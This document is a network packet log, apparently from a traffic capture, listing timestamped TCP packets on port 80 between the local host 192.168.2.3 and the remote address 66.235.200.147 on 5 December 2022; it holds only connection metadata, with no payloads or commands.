Dec 5, 2022 06:44:36.457057953 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457075119 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457091093 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457108021 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457113981 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457125902 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457134962 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457143068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457159042 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457168102 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457176924 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457194090 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457202911 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457211971 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457228899 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457237005 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457252979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457269907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457273006 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457287073 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457304955 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457321882 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457328081 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457340002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457350016 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457357883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457376957 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457382917 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457396030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457413912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457432032 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457432032 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457449913 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457456112 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457468033 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457487106 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457488060 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457504988 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457521915 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457539082 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457542896 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457557917 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457564116 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457576036 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457592964 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457611084 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457614899 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457629919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457636118 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457648993 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457667112 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457684040 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457689047 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457703114 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457711935 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457720995 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457737923 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457742929 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457756996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457773924 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457792044 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457796097 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457809925 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457819939 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457828045 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457847118 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457853079 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457865000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457882881 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457889080 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457901001 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457916975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457921982 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457952976 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457972050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457989931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457992077 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458009958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458014965 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458029032 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458048105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458065987 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458069086 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458084106 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458090067 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458103895 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458122015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458127022 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458141088 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458159924 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458177090 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458177090 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458198071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458201885 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458215952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458234072 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458251953 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458262920 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458270073 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458287001 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458287954 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458307028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458307981 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458326101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458343029 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458349943 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458362103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458378077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458398104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458400011 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458415985 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458427906 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458436966 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458452940 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458456039 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458475113 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458492994 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458509922 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458513975 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458528042 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458537102 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458547115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458564043 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458574057 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458583117 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458599091 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458601952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458620071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458637953 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458642006 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458657026 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458676100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458677053 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458694935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458712101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458729029 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458734035 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458748102 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458758116 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458765984 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458784103 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458784103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458803892 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458821058 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458830118 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458838940 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458857059 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458878994 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458882093 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458900928 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458903074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458923101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458940029 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458960056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458964109 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.458978891 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.458987951 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459000111 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459017992 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459027052 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459037066 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459054947 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459072113 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459074974 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459089994 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459096909 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459109068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459125996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459134102 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459145069 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459162951 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459180117 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459182024 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459197998 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459207058 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459218979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459237099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459239960 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459254980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459273100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459290028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459294081 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459307909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459317923 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459326982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459343910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459353924 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459362984 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459381104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459389925 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459398985 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459419012 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459427118 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459438086 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459456921 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459474087 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459476948 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459492922 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459501028 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459511995 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459530115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459534883 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459549904 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459568024 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459580898 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459585905 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459605932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459609985 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459625006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459642887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459645987 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459661961 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459680080 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459697962 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459700108 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459717035 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459723949 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459734917 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459752083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459758997 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459770918 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459788084 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459805965 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459808111 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459824085 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459831953 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459842920 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459861994 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459865093 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459880114 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459897995 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459916115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459918976 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459933996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459950924 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459956884 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459969997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.459974051 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.459989071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460007906 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460009098 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.460026026 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460045099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460062027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460062981 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.460081100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460086107 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.460098982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460117102 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460134029 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460139990 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.460153103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460164070 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.460170984 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460189104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460191011 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.460207939 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460226059 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460236073 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.460244894 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460262060 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460273027 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.460282087 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460299015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460306883 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.460318089 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460335016 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460335970 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.460354090 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460371971 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460390091 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460393906 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.460407972 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460417986 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.460427999 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460452080 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460455894 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.460469961 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460488081 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460498095 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.460506916 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460522890 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460525036 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.460541964 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460560083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460577965 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460581064 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.460597038 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460606098 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.460617065 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460634947 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460639954 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.460654020 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460670948 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460689068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460692883 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.460707903 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460715055 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.460726023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460743904 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460748911 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.460762978 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460779905 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460798979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460799932 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.460817099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460824966 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.460849047 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460867882 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460870028 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.460886955 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460903883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460921049 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460923910 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.460939884 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460944891 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.460959911 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460975885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460993052 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.460999012 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461010933 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461021900 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461026907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461045027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461046934 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461062908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461080074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461086035 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461098909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461116076 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461117983 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461133957 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461152077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461169958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461174011 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461189032 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461195946 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461208105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461225033 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461227894 CET	49704	80	192.168.2.3	66.235.200.147
